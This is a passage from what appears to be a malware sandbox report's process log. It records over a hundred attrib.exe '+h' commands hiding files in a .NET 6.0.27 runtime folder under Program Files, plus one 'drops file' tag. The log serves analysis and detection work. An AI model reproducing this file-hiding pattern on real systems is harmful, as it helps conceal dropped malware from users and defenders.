    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-conio-l1-1-0.dll"
    3⤵
    PID:4024
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-convert-l1-1-0.dll"
    3⤵
    PID:4244
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-environment-l1-1-0.dll"
    3⤵
    PID:5936
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-filesystem-l1-1-0.dll"
    3⤵
    PID:128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-heap-l1-1-0.dll"
    3⤵
    PID:112
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-locale-l1-1-0.dll"
    3⤵
    PID:2564
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-math-l1-1-0.dll"
    3⤵
    PID:748
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-multibyte-l1-1-0.dll"
    3⤵
    PID:4632
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-private-l1-1-0.dll"
    3⤵
    PID:224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-process-l1-1-0.dll"
    3⤵
    PID:4496
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-runtime-l1-1-0.dll"
    3⤵
    PID:2680
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-stdio-l1-1-0.dll"
    3⤵
    PID:5588
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-string-l1-1-0.dll"
    3⤵
    PID:5156
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-time-l1-1-0.dll"
    3⤵
    PID:3100
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-crt-utility-l1-1-0.dll"
    3⤵
    PID:4508
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\clretwrc.dll"
    3⤵
    PID:3124
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\clrjit.dll"
    3⤵
    PID:4300
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\coreclr.dll"
    3⤵
    PID:3088
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe"
    3⤵
    PID:4548
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\dbgshim.dll"
    3⤵
    PID:3232
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\hostpolicy.dll"
    3⤵
    PID:3120
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.CSharp.dll"
    3⤵
    PID:4940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.DiaSymReader.Native.amd64.dll"
    3⤵
    PID:5208
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.NETCore.App.deps.json"
    3⤵
    PID:6064
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.NETCore.App.runtimeconfig.json"
    3⤵
    PID:4304
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.VisualBasic.Core.dll"
    3⤵
    PID:5624
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.VisualBasic.dll"
    3⤵
    PID:6028
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.Win32.Primitives.dll"
    3⤵
    PID:3136
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\Microsoft.Win32.Registry.dll"
    3⤵
    PID:4556
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\mscordaccore.dll"
    3⤵
    PID:4996
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\mscordaccore_amd64_amd64_6.0.2724.6912.dll"
    3⤵
    PID:3676
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\mscordbi.dll"
    3⤵
    PID:5900
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\mscorlib.dll"
    3⤵
    PID:2732
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\mscorrc.dll"
    3⤵
    PID:1352
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\msquic.dll"
    3⤵
    PID:3264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\netstandard.dll"
    3⤵
    PID:3212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.AppContext.dll"
    3⤵
    PID:3056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Buffers.dll"
    3⤵
    PID:5820
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Collections.Concurrent.dll"
    3⤵
    PID:1128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Collections.dll"
    3⤵
    PID:4184
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Collections.Immutable.dll"
    3⤵
    PID:2016
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Collections.NonGeneric.dll"
    3⤵
    PID:4700
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Collections.Specialized.dll"
    3⤵
    PID:5160
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ComponentModel.Annotations.dll"
    3⤵
    PID:4084
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ComponentModel.DataAnnotations.dll"
    3⤵
    PID:3648
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ComponentModel.dll"
    3⤵
    PID:1080
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ComponentModel.EventBasedAsync.dll"
    3⤵
    PID:5272
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ComponentModel.Primitives.dll"
    3⤵
    PID:2884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ComponentModel.TypeConverter.dll"
    3⤵
    PID:956
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Configuration.dll"
    3⤵
    PID:3300
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Console.dll"
    3⤵
    PID:4340
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Core.dll"
    3⤵
    PID:1976
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Data.Common.dll"
    3⤵
    PID:5912
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Data.DataSetExtensions.dll"
    3⤵
    PID:4844
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Data.dll"
    3⤵
    PID:2092
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.Contracts.dll"
    3⤵
    PID:1364
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.Debug.dll"
    3⤵
    PID:2172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.DiagnosticSource.dll"
    3⤵
    PID:5740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.FileVersionInfo.dll"
    3⤵
    PID:5976
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.Process.dll"
    3⤵
    PID:4848
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.StackTrace.dll"
    3⤵
    PID:5288
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.TextWriterTraceListener.dll"
    3⤵
    PID:3700
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.Tools.dll"
    3⤵
    PID:5960
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.TraceSource.dll"
    3⤵
    PID:2308
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Diagnostics.Tracing.dll"
    3⤵
    PID:5760
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.dll"
    3⤵
    PID:1324
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Drawing.dll"
    3⤵
    PID:692
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Drawing.Primitives.dll"
    3⤵
    PID:3020
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Dynamic.Runtime.dll"
    3⤵
    PID:2908
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Formats.Asn1.dll"
    3⤵
    PID:6048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Globalization.Calendars.dll"
    3⤵
    PID:4884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Globalization.dll"
    3⤵
    PID:4048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Globalization.Extensions.dll"
    3⤵
    PID:3336
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.Compression.Brotli.dll"
    3⤵
    PID:5932
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.Compression.dll"
    3⤵
    PID:4516
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.Compression.FileSystem.dll"
    3⤵
    PID:4472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.Compression.Native.dll"
    3⤵
    PID:4308
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.Compression.ZipFile.dll"
    3⤵
    PID:5884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.dll"
    3⤵
    PID:5420
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.FileSystem.AccessControl.dll"
    3⤵
    PID:4912
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.FileSystem.dll"
    3⤵
    PID:812
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.FileSystem.DriveInfo.dll"
    3⤵
    PID:4888
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.FileSystem.Primitives.dll"
    3⤵
    PID:4296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.FileSystem.Watcher.dll"
    3⤵
    PID:584
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.IsolatedStorage.dll"
    3⤵
    PID:2988
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.MemoryMappedFiles.dll"
    3⤵
    PID:816
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.Pipes.AccessControl.dll"
    3⤵
    PID:4236
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.Pipes.dll"
    3⤵
    PID:5456
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.IO.UnmanagedMemoryStream.dll"
    3⤵
    PID:5548
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Linq.dll"
    3⤵
    PID:5844
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Linq.Expressions.dll"
    3⤵
    PID:2812
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Linq.Parallel.dll"
    3⤵
    PID:5876
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Linq.Queryable.dll"
    3⤵
    PID:4312
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Memory.dll"
    3⤵
    PID:4404
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.dll"
    3⤵
    PID:2352
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Http.dll"
    3⤵
    - Drops file in Program Files directory
    PID:5600
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Http.Json.dll"
    3⤵
    PID:5920
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.HttpListener.dll"
    3⤵
    PID:1532
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Mail.dll"
    3⤵
    PID:3600
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.NameResolution.dll"
    3⤵
    PID:988
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.NetworkInformation.dll"
    3⤵
    PID:3312
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Ping.dll"
    3⤵
    PID:1116
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Primitives.dll"
    3⤵
    PID:3596
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Quic.dll"
    3⤵
    PID:8
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Requests.dll"
    3⤵
    PID:3068
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Security.dll"
    3⤵
    PID:3392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.ServicePoint.dll"
    3⤵
    PID:4764
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Sockets.dll"
    3⤵
    PID:5024
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.WebClient.dll"
    3⤵
    PID:572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.WebHeaderCollection.dll"
    3⤵
    PID:1000
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.WebProxy.dll"
    3⤵
    PID:3528
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.WebSockets.Client.dll"
    3⤵
    PID:6068
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.WebSockets.dll"
    3⤵
    PID:4136
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Numerics.dll"
    3⤵
    PID:5860
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Numerics.Vectors.dll"
    3⤵
    PID:5888
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.ObjectModel.dll"
    3⤵
    PID:1660
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.CoreLib.dll"
    3⤵
    PID:4364
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.DataContractSerialization.dll"
    3⤵
    PID:5556
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.Uri.dll"
    3⤵
    PID:1120
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.Xml.dll"
    3⤵
    PID:592
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.Xml.Linq.dll"
    3⤵
    PID:2540
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.DispatchProxy.dll"
    3⤵
    PID:3360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.dll"
    3⤵
    PID:1792
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.Emit.dll"
    3⤵
    PID:5904
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.Emit.ILGeneration.dll"
    3⤵
    PID:3980
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.Emit.Lightweight.dll"
    3⤵
    PID:5296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.Extensions.dll"
    3⤵
    PID:4788
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.Metadata.dll"
    3⤵
    PID:3156
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.Primitives.dll"
    3⤵
    PID:5448
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Reflection.TypeExtensions.dll"
    3⤵
    PID:444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Resources.Reader.dll"
    3⤵
    PID:5496
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Resources.ResourceManager.dll"
    3⤵
    PID:1920
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Resources.Writer.dll"
    3⤵
    PID:5504
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.CompilerServices.Unsafe.dll"
    3⤵
    PID:1528
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.CompilerServices.VisualC.dll"
    3⤵
    PID:128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.dll"
    3⤵
    PID:112
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Extensions.dll"
    3⤵
    PID:1516
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Handles.dll"
    3⤵
    PID:4036
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.InteropServices.dll"
    3⤵
    PID:1788
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.InteropServices.RuntimeInformation.dll"
    3⤵
    PID:224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Intrinsics.dll"
    3⤵
    PID:4496
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Loader.dll"
    3⤵
    PID:2680
- - C:\Windows\system32\attrib.exe
